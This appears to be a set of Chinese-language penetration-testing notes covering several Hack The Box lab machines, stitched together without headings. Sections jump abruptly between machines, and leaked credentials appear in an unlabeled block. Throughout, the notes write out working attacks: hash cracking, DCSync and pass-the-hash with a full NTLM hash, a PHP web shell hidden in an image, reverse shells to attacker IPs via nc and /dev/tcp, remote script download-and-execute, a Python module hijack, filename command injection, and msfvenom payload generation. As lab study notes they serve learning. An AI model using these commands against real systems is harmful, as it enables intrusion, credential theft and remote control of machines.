nmap scan















先使用sudo -l查看是否存在matt可以直接运行的文件,发现没有
尝试用Matt-computer2008登录webmin,因为webmin用系统的登录凭证做用户名密码很常见
登录上去以后发现webmin的版本是1.91
用searchsploit搜索发现webmin1.910存在RCE,去github上搜索利用脚本
尝试使用,成功获得root身份
445端口一般是smb服务,所以可以尝试smbmap或smbclient进行枚举
smbmap -H 10.10.10.161
smbclient -N -L //10.10.10.161
均没有获得有用的信息
rpcclient -U “” -N 10.10.10.161
enumdomuser
enudomgroups
同时也能查询用户组和其中的用户
querygroup 0x200
querygroupmem 0x200
queryuser 0x1f4
将刚刚查询到的username存入username.txt
使用工具impacket爆破以上用户的hash
接着用hashcat爆破这个hash值hashcat -m 18200 svc /usr/share/wordlists/rockyou.txt --force
得到密码为s3rvice
使用工具evil-winrm进行连接evil-winrm -i 10.10.10.161 -u 'svc-alfresc' -p 's3rvice'
使用sharphound进行信息收集
可以直接上传也能用目标机去主动下载iex(new-object net.webclient).downloadstring("http://10.10.14.4/SharpHound.ps1")
接下来收集域内信息import-module .\SharpHound.ps1
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
收集到的信息为一个zip文件
用本机开一个smbserver去接收这个zip并放到bloodhound里分析
从当前 svc-alfresco 的访问权限到 Domain Admins 组中的 Adminsitrator 需要两个步骤。
1)svc-alfresco 用户在 Service Account 中,它是 Privileged IT Account 的成员,它是 Account Operators 的成员,所以svc-alfresco 用户是 Account Operators 的成员,并且 Account Operators 对 Exchange Windows Permissions 组具有 Generic All 特权。
解释:Account Operators 组授予用户有限的帐户创建权限。该组的成员可以创建和修改大多数类型的帐户,包括用户、本地组和全局组的帐户,并且成员可以本地登录到域控制器。所以可以新建一个abc用户并加入 “Exchange Windows Permissions”组。
`
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> net user abc abc123! /add /domain
The command completed successfully.
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> net group “Exchange Windows Permissions” abc /add
The command completed successfully.2) 组 EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL 的成员有权修改域 HTB.LOCAL 上的 DACL(自由访问控制列表)。通过对目标对象的 DACL 的写入访问权限,您可以授予对对象的任何所需权限。这里是为abc用户赋予DCSync权限,利用DCSync导出域内所有用户hash。
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> $SecPassword = ConvertTo-SecureString ‘abc123!’ -AsPlain -Force
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> $Cred = New-Object System.Management.Automation.PSCredential(‘htb\abc’, $SecPassword)
Evil-WinRM PS C:\Users\svc-alfresco\Documents> Import-Module .\PowerView.ps1
Evil-WinRM PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -PrincipalIdentity abc -Credential $Cred -Rights DCSync
`
域内用户hash值获取impacket-secretsdump htb.local/abc@10.10.10.161
用wmiexe进行hash传递攻击impacket-wmiexec htb.local/administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
目前我们只找到了一个ftp,可以尝试先从ftp下手
ftp里面有一个dump.sql和一个html的备份,下载下来看看
dump.sql看起来像是插入图片和描述的sql
在html.tar.gz里面的index.php中我们可以找到一个数据库的用户名和密码$servername = "localhost" $username = "waldo" $password = "]F7jLHw:*G>UPrTo}~A"d6b"
在robots.txt中找到了另一个隐藏目录/w4ld0s_s3cr3t_d1r
可以尝试登录,在web上登不上去
去源码里找这个界面
有一个新的密码
[Bank Account]
waldo.11
Ezy]m27}OREc$
去访问admin_tasks.php可以看到一些功能
在db_admin.php里能找到另一套数据库密码$servername = "localhost"; $username = "waldo"; $password = "Wh3r3_1s_w4ld0?";
再用dirsearch扫一遍目录
可以扫到adminer.php
但是所有的凭证都无法进行登录
在(Serious Vulnerability Discovered in Adminer database Administration Tool)[https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool]提到创建一个本地mysql用户可以远程连接到这个上面
首先要配置本地数据库service mysql start
CREATE DATABASE admirer; # Create the database CREATE USER ‘adminer’@'%' IDENTIFIED BY ‘password’; # Create the user GRANT ALL PRIVILEGES ON *. *TO'adminer'@'%'; # Grants the created user full permissions FLUSH PRIVILEGES # Refreshes privileges create table test(data VARCHAR(255)); # Create a table in the database
之后修改/etc/mysql/mariadb.conf.d/50-server.cnf的bind-address为0.0.0.0
然后登录admirer
可以成功进行登录
在登录后使用下面一条语句把数据导入test表中load data local infile'../index.php' into table test fields terminated by "/n"
在导入成功后可以找到mysql的密码$servername = "localhost"; $username = "waldo"; $password = "&<h5b~yK3F#{PaPB&dA}{H>"; $dbname = "admirerdb";
可以成功进行登录
用新拿到的密码尝试ssh进行登录
可以登录进去
先sudo
这个脚本的所有者是SETENV
在备份网站的时候,该脚本调用了backup.py
说明backup.py是以root权限运行的
该备份脚本用的是python3则可以键入python3 -c "import sys; print('\n'.join(sys.path))"
结果会出现一个空行
该行会在运行时脚本所在的当前目录填进去
如果我们设置一个$PYTHONPATH
则运行上面一条命令时会把$PYTHONPATH先填进去
这说明python会先尝试寻找脚本所在目录然后是自己定义的目录然后尝试去导入shutil模块
找一个可写的目录find / -type d -writable 2>/dev/null | grep -v -e '^/proc' -e '/run'
重写一个shutil.py
import os
def make_archive(a, b, c):
os.system(“nc 10.10.14.4 1234 -e’/bin/sh’”)
将脚本传到目标机的/var/tmp中sudo PYTHONPATH=/var/tmp /opt/scripts/admin_tasks.sh 6
得到反弹的shell
80端口只有一段文字
在源码里显示upload界面还未完成
有两个比较关键的文件
一个是upload.php
一个是lib.php
lib.php中一共有6个函数,等会会在upload.php中被调用
upload.php
先检查文件类型和文件大小
只能传jpg,png,gif,jpeg
apache httpd中支持一个文件含有多个后缀,并为不同的后缀执行不同的命令
apache配置文件中如果添加了php对应的解析,则上传的文件只要包含.php就能执行
所以这里只要上传一个xxx.php.png,就能绕开过滤
把png文件用vim打开在中间插一句<?php system($_GET["cmd"]);?>
上传文件
成功上传并且能够显示命令
在传的文件后面跟?cmd=id会显示出相应的信息
?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f
?cmd=bash+-i+%3E%26+/dev/tcp/10.10.14.3/4444+0%3E%261
在/home/guly里面有一个check_attack.php
还有一个计划任务脚本,每三分钟执行一次check_attack.php
如果能控制$path或者$value就能实现命令注入
check_attack.php会检查文件但是所有不以ip开头的文件都会跳过检查
在uploads文件夹里新建一个|nc -c bash 10.10.14.3 5555
文件
等待程序执行
会收到一个shell是guly权限的
在网页上我们可以看到这个网站是由gym management system 搭起来的
尝试用searchsploit搜索
尝试直接用远程代码执行
获得了web的权限
但是发现只能在该目录下活动
尝试一下传一个nc上去
开一个smb服务器上传
用systeminfo配合windows-exploit-suggester查看一下
netstat -ano | findSTR TCP | findstr ":0"
使用上述命令查看架在本地端口的应用
有一个运行在127.0.0.1上的应用tasklist /v | findstr 2564
通过上面这条命令查看这是什么应用
这里有点问题,但最后找到的进程应该是cloudme.exepowershell -w hidden -noni -nop -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3/chisel.exe','c.exe')"
用上述指令下载chisel.exe到windows上进行端口转发
kali上开一个简易的http服务器python3 -m http.server 80
然后在两边进行端口映射
查看poc,该poc里给出了用msfvenom生成payload的方式msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=443 -b '\x00\x0A\x0D' -f python -v payload
在本地开启nc进行监听